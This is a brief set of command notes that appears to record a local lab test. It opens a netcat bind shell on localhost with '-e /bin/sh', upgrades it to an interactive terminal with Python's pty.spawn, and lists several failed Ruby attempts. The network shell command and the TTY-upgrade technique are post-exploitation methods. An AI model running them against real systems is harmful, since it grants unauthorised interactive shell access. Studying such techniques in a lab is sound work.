spawn-pty

# Reproduce 
## Terminal 1
ncat -lvp 5555 -e /bin/sh
## Terminal 2 
ncat -v localhost 5555 

# Python pty spawn
python -c 'import pty; pty.spawn("/bin/bash")'

# test interactive mode with interactive linux command 
passwd 


# Ruby tries - didn't work

ruby -r 'pty' -e 'PTY.getpty("/bin/bash")'
ruby -r 'pty' -e 'PTY.spawn("/bin/bash")'
ruby  -e 'puts exec("/bin/bash")'
ruby  -e 'puts system("/bin/bash")'
ruby  -e 'IO.popen("/bin/bash") { |f| puts f.gets }'
ruby  -e '%x"/bin/bash"'

ruby -r 'pty' -r 'expect' -e 'PTY.getpty("/bin/bash"){|i, o|  o.sync = true; i.expect(/.*/) {|l| puts l,o}}'
ruby -r 'pty' -r 'expect' -e 'PTY.getpty("/bin/bash"){|i, o| o.sync = true; i.expect(/.*/) {|l| puts l,o; o.flush} }'